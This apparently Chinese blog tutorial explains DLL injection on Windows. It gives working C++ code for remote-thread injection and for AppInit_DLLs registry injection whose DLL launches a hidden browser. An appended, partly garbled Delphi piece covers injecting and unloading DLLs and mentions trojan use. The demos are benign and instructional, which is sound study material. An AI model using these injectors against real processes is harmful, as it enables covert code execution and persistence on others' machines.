DLL注入

本文深入讲解DLL注入技术,包括DLL注入的基本概念、实现方法及应用场景。介绍了如何利用远程线程、注册表和消息钩取等方式实现DLL注入,并通过具体代码示例展示了整个过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

DLL注入

DLL(Dynamic Linked Library动态链接库)被加载到进程后会自动运行DllMain()函数,用户可以把想执行的代码放到DllMain()函数,每当加载DLL时,添加的代码就会自然而然得到执行。

DLL注入是指向运行中的其他进程强制插入特定的DLL文件。其工作原理是从外部促使目标进程调用LoadLibrary() API从而强制执行DLL的DllMain()函数,而且被注入的DLL拥有目标进程内存的访问权限,用户可以随意操作。与一般的DLL加载的区别在于,DLL注入加载的目标进程是其自身或其他进程。

DllMain()函数即DLL文件的入口函数:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
	switch( dwReason ){

		case DLL_PROCESS_ATTACH:
			//添加想执行的代码
			break;

                case DLL_THREAD_ATTACH:
			break;

                case DLL_THREAD_DETACH:
			break;

		case DLL_PROCESS_DETACH:
			break;
	}
	return TRUE;
}

DLL注入主要应用于:改善功能与修复Bug、消息钩取、API钩取、恶意代码、监视和管理PC用户的应用程序等。

DLL注入的实现方法:

1、创建远程线程(CreateRemoteThread() API

2、使用注册表(AppInit_DLLs值):User32.dll加载时会读取AppInit_DLLs,若有值则调用LoadLibrary() API来加载DLL。

3、消息钩取(SetWindowsHookEx() API)


创建远程线程实现DLL注入

编写将要注入notepad.exe进程的myhack.dll文件,该DLL文件用于联网访问本博客首页(https://blog.youkuaiyun.com/ski_12)并下载该网页内容保存为本地文件。

myhack.cpp

//myhack.cpp

#include "windows.h"
//Unicode编码时,tchar为uchar(双字符);ANSI编码时,tchar为char
#include "tchar.h"

//表示链接urlmon.lib这个库
#pragma comment(lib, "urlmon.lib")

//定义URL和文件名等常量
#define DEF_URL (L"https://blog.youkuaiyun.com/ski_12")
#define DEF_FILE_NAME (L"SKI12.html")

HMODULE g_hMod = NULL;

//实现下载指定URL内容
DWORD WINAPI ThreadProc(LPVOID lParam){
	TCHAR szPath[_MAX_PATH] = {0,};

	//获取当前进程已加载模块的文件的完整路径
	if( !GetModuleFileName(g_hMod, szPath, MAX_PATH) ){
		return FALSE;
	}

	//_tcsrchr:查找字符串中某个字符最后一次出现的位置
	TCHAR *p = _tcsrchr(szPath, '\\');
	if( !p ){
		return FALSE;
	}

	//_tcscpy_s:字符拷贝函数,若是UNICODE编码则采用wcscpy_s()函数,若是多字节编码则采用strcpy_s()函数
	_tcscpy_s(p + 1, _MAX_PATH, DEF_FILE_NAME);

	//下载URL内容到本地文件
	URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

	return 0;
}

//DLL文件入口函数
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
	HANDLE hThread = NULL;

	g_hMod = (HMODULE)hinstDLL;

	switch( fdwReason ){
		//当DLL被加载时执行
		case DLL_PROCESS_ATTACH:
			//输出Debug信息
			OutputDebugString(L"[!]myhack.dll插入成功.");

			//创建线程调用ThreadProc
			hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);

			//关闭线程句柄
			CloseHandle(hThread);
			break;
	}

	return TRUE;
}

在DllMain()函数中可以看到,该DLL被加载时(DLL_PROCESS_ATTACH),先输出一个调试字符串,再创建线程调用函数(ThreadProc)。在ThreadProc()函数中通过调用urlmon!URLDownloadToFile() API下载指定网站的文件。


InjectDll.cpp

//InjectDll.cpp

#include "windows.h"
#include "tchar.h"

//查看设置权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege){

	TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    //获取进程Token
	if( !OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ){
		_tprintf(L"[-]OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
	}

	//查看本地系统的权限值
	if ( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) ){
		_tprintf(L"[-]LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if( bEnablePrivilege ){
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	}else{
		tp.Privileges[0].Attributes = 0;
	}

	//启用特权或禁用所有特权
	if( !AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD)NULL) ){
		_tprintf(L"[-]AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
	}

	if( GetLastError() == ERROR_NOT_ALL_ASSIGNED ){
		_tprintf(L"[-]The token does not have the specified privilege. \n");
        return FALSE;
	}

	return TRUE;
}

//实现DLL注入
BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath){

	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
        HMODULE hMod = NULL;
        LPVOID pRemoteBuf = NULL;
        DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE pThreadProc;

	//使用dwPID获取目标进程句柄
	//得到PROCESS_ALL_ACCESS权限后便可以使用获取的句柄控制对应的进程
	if( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ){
		_tprintf(L"[-]OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
        return FALSE;
	}

	//在目标进程hProcess内存中分配dwBufSize大小的内存空间
	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

	//将DLL文件路径写入内存
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

	//先获取模块句柄,再从句柄中获取LoadLibraryW() API的地址
	//LoadLibraryW()是LoadLibrary()的Unicode字符串版本
	//Win OS中,kernel32.dll在每个进程中的加载地址是一致的,故不用特意获取加载到目标进程的kernel32.dll的LoadLibraryW() API地址而直接加载本身的即可
	hMod = GetModuleHandle(L"kernel32.dll");
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");

	//令目标进程hProcessd调用CreateRemoteThread()从而调用LoadLibrary()
	//其中线程函数ThreadProc()与LoadLibrary()两者形态结构一致,即LoadLibrary()可当做线程函数来执行
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);

	//关闭线程和句柄
	CloseHandle(hThread);
        CloseHandle(hProcess);

	return TRUE;
}

//_tmain为支持Unicode所使用的main的一个别名,宏定义在tchar.h,经编译即为main
int _tmain(int argc, TCHAR *argv[]){
	if(argc != 3){
		_tprintf(L"[*]Usage : %s <pid> <dll_path>\n", argv[0]);
        return 1;
	}

	//查看设置权限
	if( !SetPrivilege(SE_DEBUG_NAME, TRUE) ){
		return 1;
	}

	//注入DLL
	if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) ){
		_tprintf(L"[+]Inject DLL (\"%s\") success!!!\n", argv[2]);
	}else{
		_tprintf(L"[-]Inject DLL (\"%s\") failed!!!\n", argv[2]);
	}

	return 0;
}

main()函数主要检查输入的参数,然后调用InjectDll()函数。InjectDll()函数用于命令目标进程调用LoadLibrary(“myhack.dll”)以实现DLL注入。


先打开notepad.exe程序,打开DebugView程序,打开Process Explorer查看notepad.exe程序的PID值,本次测试的PID值为1460。然后cmd运行InjectDll.exe:


可以在cmd看到注入DLL成功,同时,在DebugView中查看到注入成功的Debug输出信息。

切换到Process Explorer查看notepad.exe程序,可以看到notepad.exe程序被注入了myhack.dll:


接着到放置InjectDll.exe和myhack.dll的目录中查看,可以发现在本地生成了SKI12.html文件,打开查看是保存的博客首页的内容:



下面开始调试。

运行notepad.exe,然后使用Ollydbg2 Attach该进程:


再F9使其运行起来。

接着设置如下选项,即每当有新的DLL加载到notepad.exe进程时,都会在该DLL的EP处暂停:


接着使用InjectDll.exe注入myhack.dll,查看Ollydbg情况:


分析可知,调试器暂停的地方并不是myhack.dll的EP而是名为iertutil.dll模块的EP,因为在加载myhack.dll之前需要先加载它导入的所有DLL文件。不断F9直至到myhack.dll的EP处暂停:


使用注册表AppInit_DLLs实现DLL注入

Windows OS的注册表中默认提供了AppInt_DLLs和LoadAppInit DLLs两个注册表项。

在注册表编辑器中,将要注入的DLL的路径字符串写入AppInit_DLLs项目,然后把LoadAppInit DLLs的项目值设置为1。重启后,指定DLL会注入所有运行进程。

工作原理:user32.dll被加载到进程时,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary() API加载用户DLL。严格的说,相应DLL并不会被加载到所有进程,而只是加载至加载user32.dll的进程。另外,Windows XP会忽略LoadAppInit DLLs注册表项。



myhack2.dll

//myhack2.cpp

#include "windows.h"
#include "tchar.h"

//定义常量
#define DEF_CMD L"C:\\Program Files\\Internet Explorer\\\iexplore.exe"
#define DEF_ADDR L"https://blog.youkuaiyun.com/ski_12"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
	TCHAR szCmd[MAX_PATH]  = {0,};
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR *p = NULL;
    STARTUPINFO si = {0,};
    PROCESS_INFORMATION pi = {0,};

	si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

	switch( fdwReason ){
		case DLL_PROCESS_ATTACH : 
			if( !GetModuleFileName(NULL, szPath, MAX_PATH) ){
				break;
			}

			if( !(p = _tcsrchr(szPath, '\\')) ){
				break;
			}

			if( _tcsicmp(p+1, DEF_DST_PROC) ){
				break;
			}

			wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
			//打开IE进程
			if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi) ){
				break;
			}

			if( pi.hProcess != NULL ){
				CloseHandle(pi.hProcess);
			}

			break;
    }

	return TRUE;
}

若当前加载的进程为notepad.exe,则以隐藏模式运行IE,连接指定网站。

将myhack2.dll文件放入测试的目录中,然后运行regedit.exe修改AppInit_DLLs表项的值为myhack2.dll的绝对路径:


接着修改LoadAppInit_DLLs注册表项的值为1:


再重启系统,使修改生效。

重启之后,使用Process Explorer查看myhack2.dll是否被注入所有加载user32.dll的进程中:


可以看到,myhack2.dll成功注入到所有加载user32.dll的进程中,但由于该DLL文件的目标是notepad.exe进程,因而其它进程不会执行任何操作。

运行notepad.exe,可以看到IE被以隐藏模式执行:



消息钩取实现DLL注入

和《Windows消息钩取》那篇博客一样,这里buzai

远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL. 首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的. function EnableDebugPriv: Boolean; var hToken: THandle; tp: TTokenPrivileges; rl: Cardinal; begin Result := false; //打开进程令牌环 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken); //获得进程本地唯一ID if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then begin tp.PrivilegeCount := 1; tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; //调整权限 Result := AdjustTokenPrivileges(hToken, false, tp, SizeOf(tp), nil, rl); end; end; 关于 OpenProcessToken() 和 AdjustTokenPrivileges() 两个 API 的简单介绍: OpenProcessToken():获得进程访问令牌的句柄. function OpenProcessToken( ProcessHandle: THandle; //要修改访问权限的进程句柄 DesiredAccess: DWORD; //指定你要进行的操作类型 var TokenHandle: THandle//返回的访问令牌指针 ): BOOL; AdjustTokenPrivileges() :调整进程的权限. function AdjustTokenPrivileges( TokenHandle: THandle; // 访问令牌的句柄 DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限 const NewState: TTokenPrivileges; { 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组, 数据组的每个项指明了权限的类型和要进行的操作; } BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为 0 var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息 var ReturnLength: DWORD //实际PreviousState结构返回的大小 ) : BOOL; 远程注入DLL其实是通过 CreateRemoteThread 建立一个远程线程调用 LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。所我们需要在远程进程的内存空间里申请一块内存空间,写入我们的需要注入DLL 的路径. 需要用到的 API 函数有: OpenProcess():打开目标进程,得到目标进程的操作权限,详细参看MSDN function OpenProcess( dwDesiredAccess: DWORD; // 希望获得的访问权限 bInheritHandle: BOOL; // 指明是否希望所获得的句柄可以继承 dwProcessId: DWORD // 要访问的进程ID ): THandle; VirtualAllocEx():用于在目标进程内存空间中申请内存空间以写入DLL的文件名 function VirtualAllocEx( hProcess: THandle; // 申请内存所在的进程句柄 lpAddress: Pointer; // 保留页面的内存地址;一般用nil自动分配 dwSize, // 欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍 flAllocationType: DWORD; flProtect: DWORD ): Pointer; WriteProcessMemory():往申请到的空间中写入DLL的文件名 function WriteProcessMemory( hProcess: THandle; //要写入内存数据的目标进程句柄 const lpBaseAddress: Pointer; //要写入的目标进程的内存指针, 需以 VirtualAllocEx() 来申请 lpBuffer: Pointer; //要写入的数据 nSize: DWORD; //写入数据的大小 var lpNumberOfBytesWritten: DWORD //实际写入的大小 ): BOOL; 然后就可以调用 CreateRemoteThread 建立远程线程调用 LoadLibrary 函数来加载我们指定的DLL. CreateRemoteThread() //在一个远程进程中建立线程 function CreateRemoteThread( hProcess: THandle; //远程进程的句柄 lpThreadAttributes: Pointer; //线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针 dwStackSize: DWORD; //线程栈大小,以字节表示 lpStartAddress: TFNThreadStartRoutine; // 一个TFNThreadStartRoutine类型的指针,指向在远程进程中执行的函数地址 lpParameter: Pointer; //传入参数的指针 dwCreationFlags: DWORD; //创建线程的其它标志 var lpThreadId: DWORD //线程身份标志,如果为0, 则不返回 ): THandle; 整个远程注入DLL的具体实现代码如下: function InjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: Pointer; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin lpThreadId := 0; // 计算LoadLibraryW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'LoadLibraryW'); // 启动远程线程LoadLbraryW,通过远程线程调用创建新的线程 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 如果执行成功返回 True; if (hRemoteThread 0) then Result := true; // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end; 接下来要说的是如何卸载注入目标进程中的DLL,其实原理注入DLL是完全相同的,只是远程调用调用的函数不同而已,这里要调用的是FreeLibrary,代码如下: function UnInjectDll(const DllFullPath: string; const dwRemoteProcessId: Cardinal): Boolean; // 进程注入和取消注入其实都差不多,只是运行的函数不同而已 var hRemoteProcess, hRemoteThread: THandle; pszLibFileRemote: PChar; pszLibAFilename: PwideChar; pfnStartAddr: TFNThreadStartRoutine; memSize, WriteSize, lpThreadId, dwHandle: Cardinal; begin Result := false; // 调整权限,使程序可以访问其他进程的内存空间 if EnableDebugPriv then begin //打开远程线程 PROCESS_ALL_ACCESS 参数表示打开所有的权限 hRemoteProcess := OpenProcess(PROCESS_ALL_ACCESS, false, dwRemoteProcessId); try // 为注入dll文件路径分配内存大小,由于为WideChar,故要乘2 GetMem(pszLibAFilename, Length(DllFullPath) * 2 + 1); // 之所以要转换成 WideChar, 是因为当DLL位于有中文字符的路径下时不会出错 StringToWideChar(DllFullPath, pszLibAFilename, Length(DllFullPath) * 2 + 1); // 计算 pszLibAFilename 的长度,注意,是以字节为单元的长度 memSize := (1 + lstrlenW(pszLibAFilename)) * SizeOf(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间 pszLibFileRemote := VirtualAllocEx(hRemoteProcess, nil, memSize, MEM_COMMIT, PAGE_READWRITE); if Assigned(pszLibFileRemote) then begin //使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间 if WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, memSize, WriteSize) and (WriteSize = memSize) then begin // 计算GetModuleHandleW的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'GetModuleHandleW'); //使目标进程调用GetModuleHandleW,获得DLL在目标进程中的句柄 hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, lpThreadId); // 等待GetModuleHandle运行完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 获得GetModuleHandle的返回值,存在dwHandle变量中 GetExitCodeThread(hRemoteThread, dwHandle); // 计算FreeLibrary的入口地址 pfnStartAddr := GetProcAddress(LoadLibrary('Kernel32.dll'), 'FreeLibrary'); // 使目标进程调用FreeLibrary,卸载DLL hRemoteThread := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, Pointer(dwHandle), 0, lpThreadId); // 等待FreeLibrary卸载完毕 WaitForSingleObject(hRemoteThread, INFINITE); // 如果执行成功返回 True; if hRemoteProcess 0 then Result := true; // 释放目标进程中申请的空间 VirtualFreeEx(hRemoteProcess, pszLibFileRemote, Length(DllFullPath) + 1, MEM_DECOMMIT); // 释放句柄 CloseHandle(hRemoteThread); end; end; finally // 释放句柄 CloseHandle(hRemoteProcess); end; end; end;
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值